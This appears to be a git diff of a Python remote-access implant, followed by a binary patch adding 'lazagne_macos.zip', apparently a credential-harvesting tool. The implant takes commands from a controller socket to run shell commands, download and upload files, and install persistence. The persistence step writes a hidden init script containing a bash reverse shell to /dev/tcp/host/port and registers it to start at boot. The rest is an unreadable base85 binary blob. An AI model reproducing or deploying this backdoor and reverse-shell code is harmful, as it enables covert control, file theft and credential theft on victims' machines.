sock.send(cmd_data['term']) - term = sock.recv(10) - sock.send(data) - sock.send(term) - return - else: - sock.send(json.dumps({"status":0})) - sock.send(cmd_data['term']) + path = cmd_data['args'] + if os.path.exists(path): + if os.path.isdir(path): + sock.send(json.dumps({"status": 2})) + else: + f = open(path, "rb") + data = f.read() + sock.send(json.dumps({"status": 1, "size": len(data)})) + sock.send(cmd_data['term']) + term = sock.recv(10) + sock.send(data) + sock.send(term) + return + else: + sock.send(json.dumps({"status": 0})) + sock.send(cmd_data['term']) def receive_file(cmd_data): - term = cmd_data['term'] - extra_args = json.loads(cmd_data['args']) - size = int(extra_args['size']) - file_path = extra_args['path'] - file_name = extra_args['filename'] - f = open(os.path.join(file_path,file_name),'a') - while 1: - chunk = sock.recv(128) - if str(chunk) == str(term): - break - f.write(chunk) + term = cmd_data['term'] + extra_args = json.loads(cmd_data['args']) + size = int(extra_args['size']) + file_path = extra_args['path'] + file_name = extra_args['filename'] + f = open(os.path.join(file_path, file_name), 'a') + while 1: + chunk = sock.recv(128) + if str(chunk) == str(term): + break + f.write(chunk) def run_shell_command(cmd_data): - try: - full_input = cmd_data['cmd'] + " " + cmd_data['args'].rstrip() - print full_input.split() - result = subprocess.check_output(full_input.split()) - if result: - sock.send(result) - except Exception as e: - sock.send(str(e)) - sock.send(cmd_data['term']) + try: + full_input = cmd_data['cmd'] + " " + cmd_data['args'].rstrip() + print(full_input.split()) + result = subprocess.check_output(full_input.split()) + if result: + sock.send(result) + except Exception as e: + sock.send(str(e)) + sock.send(cmd_data['term']) def persistence(cmd_data): - try: - if cmd_data["args"] == "install": - script_path = "/etc/init.d/.espl.sh" - script_text = "bash &> /dev/tcp/{0}/{1} 0>&1".format(host,port) - #create script - f = open(script_path,"w") - f.write(script_text) - f.close() - os.system("chmod +x {0}".format(script_path)) - os.system("update-rc.d .espl.sh defaults 100") - else: - os.system("update-rc.d -f apache2 remove .espl.sh") - except Exception as e: - sock.send(str(e)) - sock.send(cmd_data['term']) + try: + if cmd_data["args"] == "install": + script_path = "/etc/init.d/.espl.sh" + script_text = "bash &> /dev/tcp/{0}/{1} 0>&1".format(host, port) + # create script + f = open(script_path, "w") + f.write(script_text) + f.close() + os.system("chmod +x {0}".format(script_path)) + os.system("update-rc.d .espl.sh defaults 100") + else: + os.system("update-rc.d -f apache2 remove .espl.sh") + except Exception as e: + sock.send(str(e)) + sock.send(cmd_data['term']) + # SETUP while 1: - raw_data = sock.recv(512) - print raw_data - cmd_data = json.loads(raw_data) - cmd = cmd_data['cmd'] - - if cmd == "cd": - change_dir(cmd_data) - elif cmd == "ls": - list_dir(cmd_data) - elif cmd == "download": - send_file(cmd_data) - elif cmd == "upload": - receive_file(cmd_data) - elif cmd == "tab_complete": - tab_complete(cmd_data) - elif cmd == "pwd": - pwd(cmd_data) - elif cmd == "pid": - pid(cmd_data) - elif cmd == "persistence": - persistence(cmd_data) - else: - run_shell_command(cmd_data) - + raw_data = sock.recv(512) + print(raw_data) + cmd_data = json.loads(raw_data) + cmd = cmd_data['cmd'] + + if cmd == "cd": + change_dir(cmd_data) + elif cmd == "ls": + list_dir(cmd_data) + elif cmd == "download": + send_file(cmd_data) + elif cmd == "upload": + receive_file(cmd_data) + elif cmd == "tab_complete": + tab_complete(cmd_data) + elif cmd == "pwd": + pwd(cmd_data) + elif cmd == "pid": + pid(cmd_data) + elif cmd == "persistence": + persistence(cmd_data) + else: + run_shell_command(cmd_data) diff --git a/resources/lazagne_macos.zip b/resources/lazagne_macos.zip index 21d8c7e05fb74924d811ee136208472afd5e59a6..c5506869b0bb02a4953b6ceb4bc87e155c109f45 100644 GIT binary patch literal 46483 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 